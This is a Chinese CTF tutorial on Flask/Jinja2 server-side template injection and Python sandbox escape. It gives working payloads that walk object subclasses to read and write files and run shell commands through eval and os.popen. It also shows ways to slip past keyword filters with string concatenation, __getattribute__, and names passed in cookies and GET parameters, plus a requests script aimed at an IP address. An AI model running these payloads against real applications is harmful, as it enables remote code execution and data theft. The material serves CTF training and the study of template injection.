1. 程式人生 > >CTF-web 第七部分 flask模板注入 沙箱逃逸

CTF-web 第七部分 flask模板注入 沙箱逃逸

1 注入原理

Flask 是python語言編寫的輕量級的MVC (也可以稱為MTV, T: Template)框架具體詳見http://docs.jinkan.org/docs/flask/  對於Flask 框架本身,本文不做討論。

 

我們看一下測試程式碼中的 hello_ssti函式

【功能 列印 hello + 使用者傳入的name值】

函式中模板內容  template = '''<h2>Hello %s!</h2>''' % person['name']

 

就是簡單的字串替換,這會引發什麼安全問題嗎?我們看例子:

執行後,瀏覽器訪問: http://localhost:5000(Flask開發的程式,預設監聽埠為5000)

OK, 預設列印Hello World。

 

但是,如果傳入的name 引數值為惡意程式碼會怎麼樣?

引發敏感資訊洩露

 http://localhost:5000/hello-template-injection?name=ForrestX386. {{person.secret}}

 

secret 值被洩露  來源: http://www.freebuf.com/articles/web/135953.html

 

2 利用方法

      那麼好了,我們已經知道了大概的原理,實際上感覺類似於XSS一樣的原理,特殊情況下的資料會被當做程式碼執行,而且要記住兩對{}才可以呦,那麼就是接下來的第二個部分,如何實現充分的利用。在python中存在很多的庫函式,可以供我們使用來達到一定的功能,那麼怎麼來使用呢?

        我們在python的object類中集成了很多的基礎函式,我們想要呼叫的時候也是需要用object去操作的,現在小小總結了兩種建立object的方法如下:

().__class__.__bases__[0]
''.__class__.__mro__[2]

# 驗證如下
>>> print ''.__class__.__mro__[2]
<type 'object'>
>>> print ().__class__.__bases__[0]
<type 'object'>

從程式碼上我們比較好理解,就是從()找到它的父類也就是__bases__[0],而這個父類就是Python中的根類<type 'object'>,它裡面有很多的子類,包括file等,這些子類中就有跟ossystem等相關的方法,所以,我們可以從這些子類中找到自己需要的方法。

然後我們看一下

存在一個hook函式,直接可以呼叫 

存在file型別的object,事實上呼叫後可以對檔案操作了,這也是我們比賽時經常用到的一個函式 
利用程式碼如下:

//讀檔案
().__class__.__bases__[0].__subclasses__()[40](r'C:\1.php').read()

//寫檔案
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')

//執行任意命令
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls  /var/www/html").read()' )

 

這裡需要補充一下,當我們得到了需要的庫時,呼叫其中的函式方法是:

(1)採用類似於陣列的方法,使用下標訪問函式[index]

(2)使用名稱直接訪問,類似於[‘function name’]

2.python中可以執行任意程式碼的神奇函式

(1)timeit

import timeit
timeit.timeit("__import__('os').system('dir')",number=1)

(2)exec 和eval 比較經典了

eval('__import__("os").system("dir")')

(3)platform

import platform
print platform.popen('dir').read()

 (4)random和math

 

3 繞過方法

經常我們在比賽中不會輕易地隨意使用函式和關鍵字,都會被後臺給過濾掉,那麼我們就需要掌握一些染過的方法,我們的繞過的思路主要分兩種,第一種就是進行字串的拼接,避開關鍵詞的使用,第二種方法就是作為引數的方法傳入,可以躲避過濾。

(1)拼接繞過

     在模板的url路徑中,首先是支援字串連線的,會在後臺進行組合,比如我們可以吧獲取object的程式碼這樣寫:

request['__cl'+'ass__'].__base__.__base__.__base__['__subcla'+'sses__']()[60]

當然函式名字也可以寫成這個樣子:

'.re'+'ad()'  # 相當於'.read()'

 第三個實際上就是一個函式用來躲避關鍵字的檢查,如func_globals中存在ls,read關鍵字和class等,這也是做題時卡著的地方。而這些都可以用__getattribute__進行突破,大概的原理如下:

# 我們想要的程式碼
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]

# 進行關鍵字繞過
().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__('func_global'+'s')['linecache']

 

(2)引數的繞過方法

大概的原理是這樣的,一般檢查的時候只是檢查url連結中的關鍵字,並沒有對引數和cookies進行檢查,那麼我們就可以使用變數和數值的方法,url中使用變數代替我們的關鍵字,在引數中將實際的值附上,程式碼和講解如下:

第一個是關於request的有關知識,我們知道這是一個用於web請求的庫,它是存在有關引數的用法的,在《Flask request獲取引數問題》一文中曾經提到過,分別通過3中方式獲取引數:request.form, request.args,request.values

request.form.get("key", type=str, default=None) 獲取表單資料

request.args.get("key") 獲取get請求引數

request.values.get("key") 獲取所有引數

用處不大啊,就是說一下基礎,那麼我們在構造url連線時,也可以使用request中的變數,包括arg和cookies等,當然肯定還有其他的用法,加入我們要讀取檔案a.php,而class和read等關鍵字都被遮蔽了,我們可以這麼做:

import requests

# 注意是兩對{},上文已經講過為什麼了,這裡用的是cookies的方式
url = '''http://47.96.118.255:2333/{{''[request.cookies.a][request.cookies.b][2][request.cookies.c]()[40]('a.php')[request.cookies.d]()}}'''

cookies = {}
cookies['a'] = '__class__'
cookies['b'] = '__mro__'
cookies['c'] = '__subclasses__'
cookies['d'] = 'read'

print requests.get(url,cookies=cookies).text

當然,我們也可以構造get的引數來傳遞:

www.a.com/login.php{{''[request.args.clas][request.args.mr][2][request.args.subclas]()[40]('a.php').__getattribute__('rea'+'d')()}}
?clas=__class__&mr=__mro__&subclas=__subclasses__

下面這個是大佬提供的另外一種方法,供大家參考吧:

www.a.com/login.php{{request['__cl'+'ass__'].__base__.__base__.__base__['__subcla'+'sses__']()[60]['__in'+'it__']['__'+'glo'+'bal'+'s__']['__bu'+'iltins__']['ev'+'al']('__im'+'port__("os").po'+'pen("ca"+"t a.php").re'+'ad()')}}

 另外需要提示的一點,我們既然都可以執行命令了,當然可以使用模板注入的方式獲取瀏覽器的一些關鍵變數,環境等資訊,如{{var}}通過變數的形式獲取某些變數,在初始將院裡的時候已經展示過了,這是一個關鍵一點,此類題目的時候留意一些

 

4 總結

1、注意題目為python2還是python3的環境,其對應的庫會有很大的一個差距,但總體來說,python27有的,python3都有,但需要改變相應下標

2、曲徑通幽,多繞繞,最終獲得你想要的模組,認真找慢慢翻,會有很多的收穫,比如從().__class__.__bases__[0].__subclasses__() 出發,檢視可用的類

  • 若類中有file,考慮讀寫操作

  • 若類中有<class 'warnings.WarningMessage'>,考慮從.__init__.func_globals.values()[13]獲取evalmap等等;又或者從.__init__.func_globals[linecache] 得到os

  • 若類中有<type 'file'><class 'ctypes.CDLL'><class 'ctypes.LibraryLoader'>,考慮構造so檔案

其他的相關關鍵字可以搜尋魔法函式,你會對這些看起來稀奇古怪的函式有更多的理解

3、分析ban函式的時候考慮使用字串拼接結合__getattribute__繞過;當然也可以考慮base64加解密來進行繞過,這部分可以參考sql注入的繞過思想

4、兩個不常見的執行任意命令的方法:

import timeit
timeit.timeit("__import__('os').system('dir')",number=1)

import platform
print platform.popen('dir').read()

timeit
考慮time based rce

5、注意一種簡單題型,出題者只做瞭如下一些處理:

>>> del __builtins__.__dict__['__import__'] # __import__ is the function called by the import statement
>>> del __builtins__.__dict__['eval'] # evaluating code could be dangerous
>>> del __builtins__.__dict__['execfile'] # likewise for executing the contents of a file
>>> del __builtins__.__dict__['input'] # Getting user input and evaluating it might be dangerous

看起來好像已經非常安全是麼?但是,reload(module) 重新載入匯入的模組,並執行程式碼。所以模組被導回到我們的名稱空間。

6、匯入模組的方式。

  • 最直接的import.
  • 內建函式 import
  • importlib庫

commands模組為列:

import importlib

f3ck = importlib.import_module("pbzznaqf".decode('rot_13')

print f3ck.getoutput('ifconfig')